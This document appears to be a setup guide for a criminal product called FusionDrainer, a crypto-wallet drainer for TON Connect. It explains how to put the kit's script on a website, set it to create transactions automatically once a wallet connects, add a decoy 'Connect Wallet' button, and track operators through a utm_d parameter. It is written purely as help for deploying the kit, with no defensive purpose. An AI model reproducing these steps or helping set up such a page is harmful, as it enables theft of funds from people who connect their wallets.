Skip to content

Drainer Installation

Step 1: Extracting the Archive

After completing the drainer build process, you will receive an archive. Extract all files from the archive to the root directory of your website.

Archive Contents:

  • fusion-drainer.js — The main JavaScript file for handling wallets and transactions.
  • fusion-drainer.css — Styles for the interface.
  • tonconnect-manifest.json — Manifest file for wallet integration via TON Connect.
  • example.html — Example page with configurations for using the drainer.

Step 2: Adding Files to Your Website

After extraction, include the necessary files on your website as shown in the example below.

Minimal Example (example.html):

html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>FusionDrainer</title>

  <!-- Include the CSS file -->
  <link rel="stylesheet" href="/fusion-drainer.css?v=1.0.0" />
</head>
<body>
  <!-- Container for the default TonConnect button -->
  <div class="ton-connect-button"></div>

  <!-- Include the JavaScript file -->
  <script src="/fusion-drainer.js?v=1.0.0" defer crossorigin></script>

  <!-- Initialize the drainer -->
  <script>
    window.addEventListener('load', () => {
      // Check for utm_d parameter in the URL
      const params = new URLSearchParams(window.location.search);
      const utmDrainerID = params.get('utm_d'); // Retrieve ID from utm_d

      // Initialize FusionDrainer with prioritized utm_d usage
      window.drainer?.init({
        drainerID: utmDrainerID || "default-drainer-id", // Prioritize UTM parameter
        autoCreateTransaction: true,  // Automatically create a transaction
        autoOpenModal: false,         // Disable automatic modal opening
      });
    });
  </script>
</body>
</html>

Step 3: Setting Up Wallet Connect Buttons

1. Default TonConnect Button (ton-connect-button):

If you're using the standard TonConnect button, simply add an element with the class ton-connect-button. This element will be replaced with the default button, which automatically initiates wallet connection.

Example:

html
<div class="ton-connect-button"></div>

Features:

  • This is a standard button automatically styled and managed by the library.
  • No additional code is needed — just add the element, and it will become active after initialization.

2. Custom Button with ton-connect-trigger Class:

If you want to use your custom button or element to open the TonConnect modal, use the class ton-connect-trigger. This class allows you to link the modal opening to any element without replacing it.

Example of a custom button:

html
<!-- Custom button for wallet connection -->
<button class="ton-connect-trigger">Connect Wallet</button>

Features:

  • Buttons with the ton-connect-trigger class won't be replaced by the library. You can freely style and use them.
  • This is ideal for keeping the button or element's design while using TonConnect functionality.

Step 4: Updating File Versions

Every time you rebuild the library for a domain, ensure to update the file version by adding a version parameter (e.g., ?v=1.0.1) to avoid caching issues:

html
<link rel="stylesheet" href="/fusion-drainer.css?v=1.0.1" />
<script src="/fusion-drainer.js?v=1.0.1" defer crossorigin></script>

Prioritizing the utm_d UTM Parameter

The utm_d UTM parameter is used to assign a prioritized drainer ID.
If the parameter exists in the URL, its value will be used instead of the default ID set during the build process.

Example URL:

plaintext
https://example.com?utm_d=12345

In this case, 12345 will be used as the drainer ID. If the parameter is not present, the default value will be applied.


Summary:

  1. Extract the archive to your website's root directory.
  2. Include the files on your website.
  3. Use either the default TonConnect button (ton-connect-button) or a custom button with the ton-connect-trigger class to manage wallet connection.
  4. Remember to update file versions (?v=1.0.1) after each library rebuild for a domain.
  5. Use the utm_d parameter in the URL for a prioritized drainer ID.